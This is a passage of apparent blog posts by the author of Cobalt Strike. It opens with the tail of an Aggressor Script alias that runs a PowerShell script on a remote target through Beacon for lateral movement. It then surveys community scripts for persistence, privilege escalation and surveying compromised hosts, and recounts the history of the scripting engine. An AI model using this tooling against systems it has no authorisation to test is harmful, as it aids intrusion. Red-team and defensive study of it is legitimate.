$script .= '", "7")';

# run the script we built up
bpowershell!($1, $script);

# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!

Gettin’ Down with Aggressor Script

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. As much as possible, I tried to make Cobalt Strike’s scripting feel like the scripting you would find in a modern IRC client. In this post, I’d like to take you through some resources and third-party examples to help you become familiar with Aggressor Script.

The Official Stuff

If you’d like to learn Aggressor Script, I recommend that you spend quality time with the documentation. These files are kept up to date with each release and are the authoritative reference on the language.

The documentation also includes copies of default.cna and default.rpt. The default.cna script defines Cobalt Strike’s menu structure and default presentation of events. The default.rpt script is the source code to Cobalt Strike’s built-in reports. You may not have known this, but you can script custom reports for Cobalt Strike to generate.

Aggressor Script is based on my open source Sleep scripting language. If you’d like to learn Sleep, I recommend you dig into its documentation. The manual is available as HTML, PDF, and even as a book.

Other Sleep Scripts

Sleep is quite capable of calling Java APIs and you can do (almost) anything in Sleep that you could do in Java. If you’d like to see what it looks like to push the limits of this, take a look at Armitage’s source code or look at the various scripts available for my scriptable IRC client, jIRCii.

Beacon to Empire

bluescreenjeff has several scripts available on his Aggressor Scripts Github repository. Beacon to Empire uses PowerShell Empire’s REST API to find listeners and present them in a nice dialog for session passing. There’s also a script to make a few popup menus for PowerUp and PowerView as well.

Cobalt Strike Toolkit

The Cobalt Strike Toolkit by Alexander Rymdeko-Harvey and Brian R is a combination of Aggressor Script and PowerShell scripts to identify if a Beacon is a domain admin and to automatically elevate if you’re not a local admin. The scripts demonstrate how to do a few other things to check privileges too.

Cosmetic Tweaks

A quick search of Github and I found a few scripts changing how Cobalt Strike presents its information. For example, beacon_tweaks.cna changes the command prompt in Beacon’s log to include more information. I also found beacon-highlight-ps.cna which overrides Beacon’s default output for the ps command and alters it to highlight certain processes with an alternate color. These scripts demonstrate a key feature of Aggressor Script: you can redefine the output of almost everything in Cobalt Strike. If you want timestamps next to every line? Go ahead and add them. Don’t like my color scheme? Change it. The default.cna script defines the default presentation of most output. Just copy code from this file, put it in a new file, and edit away.

Kickass Bot

Most of the scripts in this post show how to extend the Cobalt Strike client or add new commands to Beacon. The Kickass Bot by Ari Davies is an example of a bot, best run with Cobalt Strike’s headless agscript client. This bot performs a quick survey of any newly compromised systems and presents information to the event log.

My Github Gists

Time to time, folks will ask me for an example of how to do something in Aggressor Script. I publish my answers to these questions as Github gists. Right now, I have examples to identify PIDs for a process name, IRC integration, and harvesting environment variables. You may find these helpful when writing your own scripts.

My Persistence Kit

I use Aggressor Script quite a bit in my red work. Earlier this year, I published a blog post with the scripts I used at North East CCDC. These scripts include how I do persistence, auto-labeling beacons, and a few aliases to make routine tasks easier.

Persistence Aggressor Script

The Persistence Aggressor Script by Tyler Rosonke adds a persistence command to Beacon with options to persist in the registry, with schtasks, and via WMI. Tyler also had a good blog post on this topic too. Integration

Jonathan Echavarria has several Aggressor Script examples on Github. These scripts include integration with (notifications sent to your phone/watch), in-progress Inveigh integration, and more.

The scripts presented in this post are very much in the spirit of what Aggressor Script was built for, to help you make Cobalt Strike your own. I hope you enjoy these resources. Special thanks to all of you who put your scripts on Github. This is greatly appreciated by me and other users of Cobalt Strike!

Aggressor Script’s Secret mIRC Scripting Past

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. If you want to learn more about it, I recommend reading the documentation. In this blog post, I’ll provide some history around Aggressor Script so you can better understand it and where it comes from.

The mIRC Factor

mIRC is a popular client for Internet Relay Chat. In the mid-nineties, I was part of a community of enthusiastic computer users who would interact with each other online. Through this community, I had mentors and I was exposed to Linux early on as well. mIRC was more than a GUI client to connect to IRC though. mIRC was also a programming environment. User scripts could create new IRC commands (aliases), respond to events, and even modify the presentation of mIRC’s output. This gave power users a lot of room to make mIRC their own.

How did we use this power? It depends on the user. Some would write theme scripts to express their artistic prowess. mIRC became their canvas, Cp437 characters their brushes. Others would write scripts to task multiple mIRC instances (clones) to send messages to a friend that elicit an automatic response. This friend’s automatic response to all mIRC instances would cause the IRC server to disconnect them for malicious flooding. These flooding games, among friends of course, were a popular use of mIRC scripting.

The jIRCii Factor

Inspired by my use of mIRC, I set out to build a cross-platform IRC client, jIRC. Later, I renamed this project to jiRCii. jIRCii was my first large software project. It was also my longest running project. I worked on variations jIRC/jIRCii from 1999 through my last update in 2011.


jIRCii was also scriptable AND it had an active scripting community for a time too. Users wrote theme scripts, integration with third-party programs, and various utilities to make it easier to manage IRC channels.

When I built jIRCii’s scripting features, I really wanted to capture the elements of mIRC scripting that I felt worked. I also wanted to do away with the elements that didn’t work for me. Aliases (the alias keyword) were a good abstraction to define new commands. This concept worked and it made its way into jIRCii. Events (the on keyword) were a good abstraction to respond to events from the IRC server and the IRC client itself. These made it into jIRCii as well.

mIRC scripters had a heavy desire to theme mIRC and present IRC events in different ways. Arguably, this theme was the identity of the script. Early on, scripts would couple the theme information and the script’s functionality together. This tied a script to one theme though. Later, scripts would feature custom theme files that separated the presentation of output from the script’s other functionality. The early implementations of these themes were aliases (these did double-duty as subroutines in mIRC) that followed a naming convention. For example:

     return &amp;amp;amp;amp;lt; $+ $1 $+ &amp;amp;amp;amp;gt; $2-

Scripts would hook the different mIRC events, execute their normal logic for these events, and finish up by calling the appropriate theme function and reporting its results back to the user. The popularity of this convention informed jIRCii’s set keyword. jIRCii’s set keyword allows scripters to define how the client presents any of its output to the user. In fact, the client doesn’t have a default presentation of anything. The client’s defaults are defined in a built-in script.


Delegating default presentation to a script also streamlined jIRCii’s development process. I could focus on core features without thinking too much about the aesthetics of a feature. When it came time to work on the aesthetics, I could try things without restarting the client.

I applied the same concepts to jIRCii’s menubar and context-sensitive popup menus as well. jIRCii doesn’t define these things in its code, it delegates all of them to the default script. Again, jIRCii’s abstraction for user-defined menus, popups, and menu items were inspired by mIRC’s scripting engine.

jIRCii’s Scripting Language

Early into jIRCii’s life, I dabbled with different ways to give users control over the client. In the late-90s and early-2000s, there were not a lot of scripting engines built on top of Java. There was Beanshell, whose goal was to stay as close to Java as possible. There was Jacl, which was TCL on Java. While TCL was used as a scripting engine in some IRC clients, I wasn’t able to wrap my head around it at the time. Years later, I appreciate TCL much more. And, there was Jython which was a Python implementation for Java.

I wasn’t in love with any of the above options as an embedded scripting language. I really wanted a small language that I could extend with new constructs that exposed my application’s features. My goal with the scripting feature set was to court mIRC users. To do so, I needed a solution that didn’t feel aesthetically alien to mIRC scripters. I also wanted something a first-time programmer could reasonably pick up on his or her own.

The Sleep Factor

I didn’t expect that I would write jIRCii’s general purpose scripting language. I also didn’t expect that Armitage/Cobalt Strike would evolve into a stand-alone offensive platform either. Sometimes, when you decide to see a project through, you sign up for much more than you expected. Here’s the story behind the Sleep scripting language.

A common exercise for undergraduate Computer Science students is to build a simple programming language. Like other Computer Science students, I went through the exercise of building a simple LISP-like language interpreter in LISP. This learning exercise was my first exposure to BNF, recursive descent parsers, Abstract Syntax Trees, and interpreters. This exercise clicked with me and it very much whetted my appetite to explore these ideas further.

After I turned in the above assignment, I decided to sequester myself in a campus computer lab for the weekend. I set out to define a small language with aesthetical similarities to my then-favorite language, Perl. I built a lexical analyzer, a parser, and an interpreter for this simple language in a few days. This was the first version of Sleep. That was 2002.


I saw Sleep as a potential solution to my scripting conundrum for jIRCii. I would build Sleep as a small extensible language to embed into other applications. My initial target application was jIRCii. In a way, Sleep and jIRCii co-evolved with each other.

I started work on Sleep 2.0 around 2005. To me, a change in major version represents a change in fundamental assumptions and a strategic shift. Cobalt Strike’s early versions dabbled in a lot of ideas beneficial to red teaming. Cobalt Strike 2.0 was a concrete shift towards threat emulation with Malleable C2. Cobalt Strike 3.0 re-built Cobalt Strike as a platform for Red Team Operations and Adversary Simulations without the Metasploit Framework. Sleep 2.0 was a similar major shift. Sleep evolved from a very simple language to one that could call into Java’s APIs. This gave my scripters benefits similar to the ones PowerShell scripters enjoy calling the .NET API from PowerShell. I also added closures, coroutines, and continuations as language features. These additions gave Sleep a lot of power.

Sleep’s last update was in 2009. I stopped working on Sleep because at that point, the project met its original goals. It was also stable and feature complete to a reasonable point.

Since the mid-2000s, I’ve used Sleep quite a lot. When I was at the Air Force Research Lab, I used Sleep as a scripting engine in my various project prototypes. I kept Sleep integrated into jIRCii and as I mentioned previously, jIRCii had a healthy scripting community. I built a web application container for Sleep and for a time, I used Sleep for limited web application work. I also built the After the Deadline software service in Sleep. Finally, I tried to use Sleep as an application language. The lucky project to receive this treatment? Armitage.

I consider that a failed experiment. Much like other scripting languages, Sleep has a concept of a Global Interpreter Lock. Sleep’s GIL is a nuisance when building a multi-threaded GUI application that needs to interact with a server component. My choice to use Sleep is partially responsible for Armitage’s tendency to deadlock and some of the performance issues. Cobalt Strike 3.0 and later do not use Sleep as the application implementation language.


Cortana is the scripting engine in Armitage. This was a seven-month effort funded by DARPA’s Cyber Fast Track program. It was Mudge’s intent that CFT fund new efforts, not enhancements to existing ones. To pitch Cortana for CFT, I had to have an angle. Armitage was already a decent effort exploring red team collaboration among human actors. Why not take this to the next level and explore red team collaboration ideas between humans and bots? This was the idea behind Cortana.

Fortunately, Cortana was not my first scriptable application rodeo. I had experience with a base language (Sleep). I also knew what it would take to integrate this base language into an application (thanks jIRCii). This made it easy to explore the ideas that were the meat of the effort (positive control concepts, a headless client for bots, etc.)

Cortana brought some of jIRCii (and mIRC)’s scripting concepts into Armitage. It had events to respond to things that happened on the team server and within the client. I had one milestone focused on APIs for the Armitage GUI itself (e.g., popup menus and the like). I also had a milestone to strip Armitage to nothing and re-implement Armitage’s features in Cortana. I wanted to see if I could push the balance of “default script” stuff much further than jIRCii. I wasn’t happy with the results of this particular experiment and decided against adopting this for production Armitage. Consequently, production Armitage delegated nothing to its built-in scripting engine.

I released Cortana at DEF CON 20. Not only was it the largest audience I’ve spoken to in one room. It was also the one time I lost my voice before a talk as well.

The Cortana technology in Cobalt Strike (prior to 3.0) was mostly the same as the Cortana technology in Armitage. Over time though, I noticed that Cobalt Strike users had a much higher interest in Cortana than Armitage users. I had a non-trivial number of customers who had unzipped the cobaltstrike.jar file, figured out the Beacon RPC API, and were building scripts with this to automate and control Beacon. This was a lot of effort for these users to go to. I tried to meet these users half-way by publishing a partial Cortana API to script and control Beacon. All of this was a big obvious sign that I needed to expose a way to script Cobalt Strike’s features.

The Dark Corners of Cobalt Strike 3.0

Cobalt Strike 3.0 was a ground-up rewrite of Cobalt Strike’s GUI client and team server, notably without dependence on the Metasploit Framework.

I’m often asked why I changed X or Y in Cobalt Strike 3.0. I’m sometimes asked why did I bother with such large changes to a mature product? Depending on the context, I give different answers. The full answer is this: I learned a lot about my red team user base while selling and building Cobalt Strike 2.5 and its predecessors. These lessons included things my product didn’t do well and things my product would need to handle, eventually, to stay relevant to that user base.

One example of this is logging and reporting. Prior to 3.0, Cobalt Strike’s logging was borderline useless. Also, prior to 3.0, Cobalt Strike’s reporting was potentially beneficial to a penetration tester, but it didn’t show much imagination for the red teaming use case. There are a lot of reasons these things were the way they were, but ultimately, the 3.0 work was a chance to set some of these things right. Today, the reporting and logging are cited as one of the strengths in Cobalt Strike 3.0 and later.

No single insight, feature, or need drove the development of Cobalt Strike 3.0. It was the accumulation of all the user needs I wanted to tackle, but couldn’t with the old codebase and its dependencies. I didn’t take this decision lightly though…

I’m a big fan of Joel Spolsky’s Joel on Software blog. One post that sticks with me is Things You Should Never Do, Part I. In this post, Joel describes this mistake as the single worst strategic mistake any company can make. What is it? It’s to rewrite their code from scratch. I, as a single developer, knowingly decided to commit this very sin. The decision to rewrite Cobalt Strike could have ruined my company and destroyed my professional efforts going back to late-2011. Bluntly, people do their jobs with this toolset and they pay fairly for the privilege. My biggest fear is that my instincts were off and I was investing in the wrong ideas.

Six months later, all signs seem to indicate that Cobalt Strike 3.0 was the right move. The new product is very stable and performs much better than its predecessors. To many of my users, 3.0 was business as usual. I seem to have kept the things they used Cobalt Strike for, added some things they wanted, and discarded what they didn’t use. I’ve used 3.0 a few times now and I’ve been very happy with it. It’s a good product and it’s fun to use.

Aggressor Script

Scripting is one of those places where Cobalt Strike 3.0 gave me a second chance. Aggressor Script is the Cobalt Strike 3.0 successor to Cortana. Aggressor Script is not compatible with Cortana. It can’t be. Cortana builds on Armitage’s interface to the Metasploit Framework. Aggressor Script builds on Beacon and Cobalt Strike 3.0’s team server.

During Cobalt Strike 3.0’s development, I had a rule: no experiments. I knew the risk I was (already) taking with the rewrite. I wanted to stick with my lessons learned and my personal best practices as much as possible.

Cobalt Strike 3.0’s first milestones were a team server and a simple GUI client. The team server would act as a broker to receive messages from clients, broadcast messages to clients, and play previous messages back to new clients. On this initial foundation, I built Cobalt Strike 3.0’s first feature: the event log.

I remember demoing this early progress to a customer. I had a /names command, /msg, and /me. I also had the ability to redefine Cobalt Strike’s presentation of event log output through a default script. I joked that my goal was to replace Cobalt Strike 2.5 with a very nice, very expensive, IRC client.

All joking aside, I borrowed a lot of concepts from jIRCii in the design of Cobalt Strike 3.0. This is especially evident with Aggressor Script. Aggressor Script uses the set keyword to define how the client presents output to the user. Aggressor Script uses the on keyword to respond to events. Aggressor Script also uses the alias keyword to define new commands in Beacon. I also use scripting conventions from jIRCii to script menus and keyboard shortcuts. Much like jIRCii, Cobalt Strike 3.0 defines its representation of events and menu structure in a default built-in script. A lot of these conventions in jIRCii were heavily inspired by mIRC scripting.

So there you have it, that’s Aggressor Script’s Secret mIRC scripting past. There’s an irony here. In the 90s, some folks would use the scripting engine in their chat program to build hacking tools. Now, 20 years later, I use the scripting engine in my hacking tool to build chat tools. Pretty funny.